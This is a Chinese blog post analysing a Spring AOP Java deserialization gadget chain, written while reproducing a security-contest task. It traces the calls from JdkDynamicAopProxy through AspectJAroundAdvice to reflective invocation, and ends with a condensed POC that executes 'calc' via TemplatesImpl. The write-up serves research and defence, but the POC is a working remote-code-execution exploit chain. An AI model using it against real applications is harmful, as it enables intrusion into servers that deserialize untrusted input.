当前位置: 首页 > article >正文

SpringAOP新链浅析

前言

在复现CCSSSC软件攻防赛的时候发现需要打SpringAOP链子,于是跟着前人的文章自己动手调试了一下

参考了大佬的文章

https://gsbp0.github.io/post/springaop/#%E6%B5%81%E7%A8%8B
https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

正文

依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类

链子终点分析

AbstractAspectJAdvice类继承了 Serializable 反序列化接口

污点函数是org.springframework.aop.aspectj.AbstractAspectJAdvice的invokeAdviceMethodWithGivenArgs方法

protected Object invokeAdviceMethod(JoinPoint jp, @Nullable JoinPointMatch jpMatch, @Nullable Object returnValue, @Nullable Throwable t) throws Throwable {return this.invokeAdviceMethodWithGivenArgs(this.argBinding(jp, jpMatch, returnValue, t));}protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {Object[] actualArgs = args;if (this.aspectJAdviceMethod.getParameterCount() == 0) {actualArgs = null;}try {ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);} catch (IllegalArgumentException var4) {IllegalArgumentException ex = var4;throw new AopInvocationException("Mismatch on arguments to advice method [" + this.aspectJAdviceMethod + "]; pointcut expression [" + this.pointcut.getPointcutExpression() + "]", ex);} catch (InvocationTargetException var5) {InvocationTargetException ex = var5;throw ex.getTargetException();}}

看到这里,这里不就是在反射调用了吗?

类似于

runtimeMethod.invoke(runtimeClass.getDeclaredConstructor().newInstance(),"calc");

往下寻找,看看它的子类

它的子类都会去调用invokeAdviceMethod方法

同时发现他的子类AspectJAroundAdvice、AspectJAfterThrowingAdvice、AspectJAroundAdvice

会利用invoke方法去调用invokeAdviceMethod方法

链子中间关键部分分析

在ReflectiveMethodInvocation类中发现

有个proceed方法,调用了invoke的方法

那么目前的链子就是

org.springframework.aop.framework.ReflectiveMethodInvocation#proceed->
org.springframework.aop.aspectj.AspectJAroundAdvice#invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs

proceed方法分析

第一个点是interceptorOrInterceptionAdvice的获取,是从interceptorsAndDynamicMethodMatchers中拿到的,该属性本身定义就是一个List,可以序列化,

而索引currentInterceptorIndex本身也只是int类型。

因此可以认为interceptorOrInterceptionAdvice是可控的。

第二个点是interceptorOrInterceptionAdvice的类型,按照上面的调用链,这个对象的类型应该是org.springframework.aop.aspectj.AspectJAroundAdvice(AbstractAspectJAdvice的子类),才能去触发污点函数。

那么在if条件判断的时候

instanceof是Java中的二元运算符,左边是对象,右边是类;当对象是右边类或子类所创建对象时,返回true;否则,返回false。

但是右边是InterceptorAndDynamicMethodMatcher直接返回false

那么proceed代码是走下面的分支,触发invoke

不禁感叹,这个点真的是太妙了。

反序列化接口的寻找

ReflectiveMethodInvocation本身并没有实现Serializable接口,想要在反序列化过程中使用,只能依赖于动态创建。

静态代码搜索一波,看看有没有那些地方new了ReflectiveMethodInvocation类的

这里idea没搜出来,jd-gui倒是给找出来了

发现

org.springframework.aop.framework.JdkDynamicAopProxy#invoke,

并且在创建后就调用proceed方法

这里的chain就是控制传入ReflectiveMethodInvocation的interceptorsAndDynamicMethodMatchers对象

即我们需要传入AspectJAroundAdvice

JdkDynamicAopProxy

如何去控制chain变量为我们想要的类呢?

看到chain的属性

List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

再看getInterceptorsAndDynamicInterceptionAdvice(method, targetClass)方法

public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Method method, @Nullable Class<?> targetClass) {MethodCacheKey cacheKey = new MethodCacheKey(method);List<Object> cached = (List)this.methodCache.get(cacheKey);if (cached == null) {cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);this.methodCache.put(cacheKey, cached);}return cached;}

那么这个返回值要么就是从methodCache来

要么就是从getInterceptorsAndDynamicInterceptionAdvice(下面简称GIADIA方法)

1、methodCache
private transient Map<MethodCacheKey, List<Object>> methodCache;

看到这个属性加了transient修饰符

同时

在反序列化的时候就已经新建了,那么我们就认为这条路大概率行不通的

2、GIADIA方法
List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass);

在这个方法中,三个参数都是可控的,Advised config实际上就是AdvisedSupport实例。

这个方法最终返回的就是interceptorList对象,核心是分析这个对象如何添加元素,然后往上找这个元素是怎么生成的。

经过分析,无论走哪个分支,这个元素最终都是通过registry.getInterceptors(advisor)获取的,

而registry则是直接通过静态GlobalAdvisorAdapterRegistry.getInstance()方法获取的静态单例类

最后审计,查找看到这个类

org.springframework.aop.framework.adapter.DefaultAdvisorAdapterRegistry#getInterceptors

public MethodInterceptor[] getInterceptors(Advisor advisor) throws UnknownAdviceTypeException {List<MethodInterceptor> interceptors = new ArrayList<>(3);Advice advice = advisor.getAdvice();if (advice instanceof MethodInterceptor) {interceptors.add((MethodInterceptor) advice);}for (AdvisorAdapter adapter : this.adapters) {if (adapter.supportsAdvice(advice)) {interceptors.add(adapter.getInterceptor(advisor));}}if (interceptors.isEmpty()) {throw new UnknownAdviceTypeException(advisor.getAdvice());}return interceptors.toArray(new MethodInterceptor[0]);}

很显然,这个类满足了实现MethodInterceptor接口的需求,但并没有实现Advice

通过JdkDynamicAopProxy来同时代理Advice和MethodInterceptor接口,并设置反射调用对象是AspectJAroundAdvice,如果后续仅被调用MethodInterceptor接口的方法,就可以直接混水摸鱼,如果还会调用Advice接口的方法,则可以再尝试使用CompositeInvocationHandlerImpl

链子整体

POC代码在

https://github.com/Ape1ron/SpringAopInDeserializationDemo1

主要是感觉项目看着写的有点繁杂,想着简化和修改一下

我们来分析一下怎么写的

1、getAspectJAroundAdvice方法

项目先是调用了getAspectJAroundAdvice方法

主要是先生成执行calc命令的字节码

因为最后的终点是走到这里

this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);

从aspectInstanceFactory中获取到一个方法类的实例

刚好SingletonAspectInstanceFactory就有一个

然后反射修改属性

因为要触发invoke,所以就用了AspectJAroundAdvice类

也就是对应的

AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);

这两行代码

然后下面的反射修改

Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class);
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);

其实就是为了恶意字节码的反序列化

AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();    Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);

是因为AbstractAspectJAdvice的pointcut属性默认要为AspectJExpressionPointcut对象

Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);

这里反射修改成-1是因为AbstractAspectJAdvice的需要,不然很多if走不进去

2、getObject方法

这里的意思其实就是分析的时候讲的,套了两层动态代理

然后最后面找一个readobject能触发tostring方法的来触发动态代理

后续

优化链子,分析了整条链子,以及师傅写的项目,想着能否去缩减一下代码量呢?

String cmd="calc";
Object templatesImpl = TemplatesImplNode.makeGadget(cmd);
/*获取newTransformer方法*/
Method method = templatesImpl.getClass().getMethod("newTransformer");
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),singletonAspectInstanceFactory);

这里发现其实不用反射的话,就会更加方便,new的时候会自动帮我们赋值-1

然后我们传入三个参数即可

如果试着变成这样呢?

AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
Object o1 =getFirstProxy(aspectJAroundAdvice);
Object o2 =getFinallProxy(o1);
Object badAttrValExe = BadAttrValExeNode.makeGadget(o2);
public static Object getFirstProxy(Object obj) throws Exception{AdvisedSupport as = new AdvisedSupport();as.setTargetSource(new SingletonTargetSource(obj));InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);return proxy1;}public static Object getFinallProxy(Object obj) throws Exception{Advisor advisor = new DefaultIntroductionAdvisor((Advice) obj);List<Advisor> advisors = new ArrayList<>();advisors.add(advisor);AdvisedSupport advisedSupport = new AdvisedSupport();Reflections.setFieldValue(advisedSupport,"advisors",advisors);DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);advisedSupport.setTargetSource(new SingletonTargetSource("ape1ron"));InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,advisedSupport);Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);return proxy2;}

会发现红色标记的地方很像

最后改成的POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import org.springframework.aop.target.SingletonTargetSource;import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
public class SpringAOP1 {public static void main(String[] args) throws Throwable {SpringAOP1 aop1 = new SpringAOP1();Object object = aop1.getObject("calc");Util.runGadgets(object);}public Object getObject (String cmd) throws Throwable {Object templatesImpl = TemplatesImplNode.makeGadget(cmd);Method method = templatesImpl.getClass().getMethod("newTransformer");SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),singletonAspectInstanceFactory);Object o2 =getFinallProxy(aspectJAroundAdvice);Object badAttrValExe = BadAttrValExeNode.makeGadget(o2);return badAttrValExe;}public static Object getFirstProxy(Object obj,Class[] clazzs) throws Exception{AdvisedSupport as = new AdvisedSupport();as.setTargetSource(new SingletonTargetSource(obj));InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);Object proxy1 = Proxy.newProxyInstance(Proxy.class.getClassLoader(), clazzs, jdkDynamicAopProxy1);return proxy1;}public static Object getFinallProxy(Object obj) throws Exception{Advisor advisor = new DefaultIntroductionAdvisor((Advice) getFirstProxy(obj,new Class[]{MethodInterceptor.class, Advice.class}));List<Advisor> advisors = new ArrayList<>();advisors.add(advisor);AdvisedSupport advisedSupport = new AdvisedSupport();Reflections.setFieldValue(advisedSupport,"advisors",advisors);DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);advisedSupport.setTargetSource(new SingletonTargetSource("ape1ron"));InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,advisedSupport);Object proxy2 = Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Map.class}, jdkDynamicAopProxy2);return proxy2;}
}

这里说明一下makeGadget其实就是那些固定的写法就省略了,还有一些Reflections反射改值的方法

总结

该SpringAOP新链危害还是很大的,因为其依赖少的原因,而且本身就具备该依赖。

相关文章:

SpringAOP新链浅析

前言 在复现CCSSSC软件攻防赛的时候发现需要打SpringAOP链子&#xff0c;于是跟着前人的文章自己动手调试了一下 参考了大佬的文章 https://gsbp0.github.io/post/springaop/#%E6%B5%81%E7%A8%8B https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ 正文 依赖于Spring-AO…...

【动手学深度学习】现代卷积神经网络:ALexNet

【动手学深度学习】现代卷积神经网络&#xff1a;ALexNet 1&#xff0c;ALexNet简介2&#xff0c;AlexNet和LeNet的对比3&#xff0c; AlexNet模型详细设计4&#xff0c;AlexNet采用ReLU激活函数4.1&#xff0c;ReLU激活函数4.2&#xff0c;sigmoid激活函数4.3&#xff0c;为什…...

PyTorch深度学习框架60天进阶学习计划 - 第37天:元学习框架

PyTorch深度学习框架60天进阶学习计划 - 第37天&#xff1a;元学习框架 嘿&#xff0c;朋友们&#xff01;欢迎来到我们PyTorch进阶之旅的第37天。今天我们将深入探索一个非常有趣且强大的领域——元学习(Meta-Learning)&#xff0c;也被称为"学会学习"(Learning to…...

【中检在线-注册安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 1. 暴力破解密码&#xff0c;造成用户信息泄露 2. 短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉 3. 带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造…...

UE5 运行时动态将玩家手部模型设置为相机的子物体

在编辑器里&#xff0c;我们虽然可以手动添加相机&#xff0c;但是无法将网格体设置为相机的子物体&#xff0c;只能将相机设置为网格体的子物体 但是为了使用方便&#xff0c;我们希望将网格体设置为相机的子物体&#xff0c;这样我们直接旋转相机就可以旋转网格体&#xff0…...

EasyExcel-一款好用的excel生成工具

EasyExcel是一款处理excel的工具类&#xff0c;主要特点如下&#xff08;官方&#xff09;&#xff1a; 特点 高性能读写&#xff1a;FastExcel 专注于性能优化&#xff0c;能够高效处理大规模的 Excel 数据。相比一些传统的 Excel 处理库&#xff0c;它能显著降低内存占用。…...

WEB攻防-Java安全JNDIRMILDAP五大不安全组件RCE执行不出网不回显

目录 1. RCE执行-5大类函数调用 1.1 Runtime方式 1.2 Groovy执行命令 1.3 脚本引擎代码注入 1.4 ProcessImpl 1.5 ProcessBuilder 2. JNDI注入(RCE)-RMI&LDAP&高版本 2.1 RMI服务中的JNDI注入场景 2.2 LDAP服务中的JNDI注入场景 攻击路径示例&#…...

UML组件图

一、UML 组件图 组件图&#xff08;Component Diagram&#xff09;主要用于描述系统的物理结构&#xff0c;用于展示可独立部署的软件模块&#xff08;如微服务、动态链接库、API网关&#xff09;及其交互关系。组件图中的主要元素包括&#xff1a; 组件&#xff08;Component…...

DrissionPage移动端自动化:从H5到原生App的跨界测试

一、移动端自动化测试的挑战与机遇 移动端测试面临多维度挑战&#xff1a; 设备碎片化&#xff1a;Android/iOS版本、屏幕分辨率差异 混合应用架构&#xff1a;H5页面与原生组件的深度耦合 交互复杂性&#xff1a;多点触控、手势操作、传感器模拟 性能监控&#xff1a;内存…...

从 Excel 到你的表格应用:条件格式功能的嵌入实践指南

一、引言 在日常工作中&#xff0c;面对海量数据时&#xff0c;如何快速识别关键信息、发现数据趋势或异常值&#xff0c;是每个数据分析师面临的挑战。Excel的条件格式功能通过自动化的视觉标记&#xff0c;帮助用户轻松应对这一难题。 本文将详细介绍条件格式的应用场景&am…...

redis 和 MongoDB都可以存储键值对,并且值可以是复杂json,用完整例子分别展示说明两者在存储json键值对上的使用对比

Redis 存储 JSON 键值对示例 存储操作&#xff1a; // 存储用户信息&#xff08;键&#xff1a;user:1001&#xff0c;值&#xff1a;JSON对象&#xff09; SET user:1001 {"name":"Alice", "age":30, "address":"New York&quo…...

SQLI打靶

文章目录 一、DVWA0. Mysql与Mariasql1. 单/双引号 - 十六进制编码绕过**原理&#xff1a;** 2. limit 1的绕过3. 参数化查询绕过一、介绍二、PDO是一种PHP实现参数化查询的机制 三、预编译绕过 之 结构化参数 4. 反自动化手段 之 Anti-CSRF token静态&#xff1a;动态&#xf…...

STM32单片机入门学习——第22节: [7-2] AD单通道AD多通道

写这个文章是用来学习的,记录一下我的学习过程。希望我能一直坚持下去,我只是一个小白,只是想好好学习,我知道这会很难&#xff0c;但我还是想去做&#xff01; 本文写于&#xff1a;2025.04.07 STM32开发板学习——第22节: [7-2] AD单通道&AD多通道 前言开发板说明引用解…...

python基础语法1:输入输出

1. 输出 (Output) 1.1 print() 基础 Python 使用 print() 函数向控制台输出内容。 # 输出字符串 print("Hello, World!") # 输出多个值&#xff08;自动用空格分隔&#xff09; print("Name:", "Alice", "Age:", 25) # 修改分隔符&…...

对Android中zygote的理解

1. Zygote的作用 Zygote是Android系统的核心进程&#xff0c;核心作用可归纳为以下三点&#xff1a; 核心作用详细说明进程孵化器作为所有应用进程的父进程&#xff0c;通过fork快速创建新进程&#xff08;避免重复初始化虚拟机&#xff09;。&#xff08;system server也由z…...

【Survival Analysis】【机器学习】【1】

前言&#xff1a; 今年在做的一个博士课题项目&#xff0c;主要是利用病人的数据&#xff0c;训练出一个AI模型&#xff0c;做因果分析&#xff0c; 以及个性化治疗。自己一直是做通讯AI方向的&#xff0c;这个系列主要参考卡梅隆大学的教程&#xff0c;以及临床医生的角度 了…...

WebShell详解:原理、分类、攻击与防御

目录 一、WebShell的定义与核心概念 二、WebShell的分类 三、WebShell的攻击原理与常见手法 1. 攻击原理 2. 常见攻击路径 四、WebShell的危害 五、防御与检测策略 六、总结 一、WebShell的定义与核心概念 ​​WebShell​​是一种以ASP、PHP、JSP等网页脚本形式存在的恶…...

JavaScript---原型和原型链

目录 一、引用类型皆为对象 二、原型和原型链是什么 三、__proto__与prototype 总结 四、原型链顶层 五、constructor 六、函数对象的原型链 一、引用类型皆为对象 原型和原型链都是来源于对象而服务于对象&#xff1a; JavaScript中一切引用类型都是对象&#xff0c;…...

离散数学问题集--问题5.9

问题 5.9 综合了计算机组成原理、数字逻辑和离散数学中的关键概念&#xff0c;旨在帮助学生理解二进制算术运算的硬件实现、逻辑门与算术运算的关系&#xff0c;以及如何使用数学方法来验证数字系统的正确性。它强调了从规范到实现再到验证的完整过程。 思想 函数抽象&#xf…...

手游防DDoS攻击SDK接入

在手游中集成防DDoS攻击SDK是抵御流量型和应用层攻击的核心手段之一。以下从​​SDK选型、接入流程、防护策略优化​​三个维度提供完整指南&#xff0c;并附关键代码示例&#xff1a; ​​一、SDK选型与核心能力对比​​ ​​服务商​​​​优势​​​​劣势​​​​适用场景…...

Java—HTML:CSS选择器

今天我要介绍的知识点内容是Java HTML中的CSS选择器&#xff1b; CSS选择器用于定位HTML元素并为其添加样式。它允许我们控制网页的颜色、字体、布局和其他视觉元素。通过分离内容与样式。 下面我将介绍CSS中选择器的使用&#xff0c;并作举例说明&#xff1b; 选择器基本语…...

如何将/dev/ubuntu-vg/lv-data的空间扩展到/dev/ubuntu-vg/ubuntu-lv的空间上

要将 /dev/ubuntu-vg/lv-data 的空间扩展到 /dev/ubuntu-vg/ubuntu-lv 上&#xff0c;实际上是将 lv-data 的空间释放出来&#xff0c;并将其分配给 ubuntu-lv。以下是详细的步骤和操作说明&#xff1a; 已知信息 你有两个逻辑卷&#xff1a; /dev/ubuntu-vg/lv-data/dev/ubun…...

SSM阶段性总结

0 Pojo类 前端给后端&#xff1a;DTO 后端给前端&#xff1a;VO 数据库&#xff1a;PO/VO 业务处理逻辑&#xff1a;BO 统称pojo 1 代理模式 实现静态代理&#xff1a; 1定义接口2实现类3写一个静态代理类4这样在调用时就可以使用这个静态代理类来实现某些功能 实现动态代…...

Qt 5.14.2入门(一)写个Hello Qt!程序

目录 参考链接&#xff1a;一、新建项目二、直接运行三、修改代码增加窗口内容1、Qt 显示一个 QLabel 标签控件窗口2、添加按键 参考链接&#xff1a; Qt5教程&#xff08;一&#xff09;&#xff1a;Hello World 程序 Qt 编程指南 一、新建项目 1、新建一个项目&#xff08…...

Jmeter分布式测试启动

代理客户端配置 打开jmeter.properties文件&#xff0c;取消注释并设置端口&#xff08;如server_port1099&#xff09;&#xff0c; 并添加server.rmi.ssl.disabletrue禁用SSL加密。 &#xff08;Linux系统&#xff09;修改jmeter-server文件中的RMI_HOST_DEF为代理机实际IP。…...

redis itheima

缓存问题 核心是如何避免大量请求到达数据库 缓存穿透 既不存在于 redis&#xff0c;也不存在于 mysql 的key&#xff0c;被重复请求 public Result queryById(Long id) {String key CACHE_SHOP_KEYid;// 1. redis & mysqlString shopJson stringRedisTemplate.opsFo…...

mysql 执行计划中eq_ref是什么意思?

在 MySQL 的执行计划中&#xff0c;eq_ref 是一种连接类型&#xff08;type&#xff09;&#xff0c;表示查询优化器在使用**主键&#xff08;PRIMARY KEY&#xff09;或唯一索引&#xff08;UNIQUE INDEX&#xff09;**进行等值匹配&#xff08;&#xff09;时&#xff0c;对表…...

QT 调用动态链接库

引入QT提供的动态加载库的类 #include <QLibrary>定义函数指针类型 typedef void (*GetResFunction)(uint8_t*, uint8_t*, int);定义函数指针的主要目的是为了解析和调用动态链接库中的函数。如果你不定义函数指针&#xff0c;就无法直接调用动态链接库中的函数 加载动…...

100天精通Python(爬虫篇)——第122天:基于selenium接管已启动的浏览器(反反爬策略)

文章目录 1、问题描述2、问题推测3、解决方法3.1 selenium自动启动浏览器3.2 selenium接管已启动的浏览器3.3 区别总结 4、代码实战4.1 手动方法&#xff08;手动打开浏览器输入账号密码&#xff09;4.2 自动方法&#xff08;.bat文件启动的浏览器&#xff09; 1、问题描述 使用…...

MPP 架构解析:原理、核心优势与对比指南

一、引言&#xff1a;大数据时代的数据处理挑战 全球数据量正以指数级增长。据 Statista 统计&#xff0c;2010 年全球数据量仅 2ZB&#xff0c;2025 年预计达 175ZB。企业面临的核心挑战已从“如何存储数据”转向“如何快速分析数据”。传统架构在处理海量数据时暴露明显瓶颈…...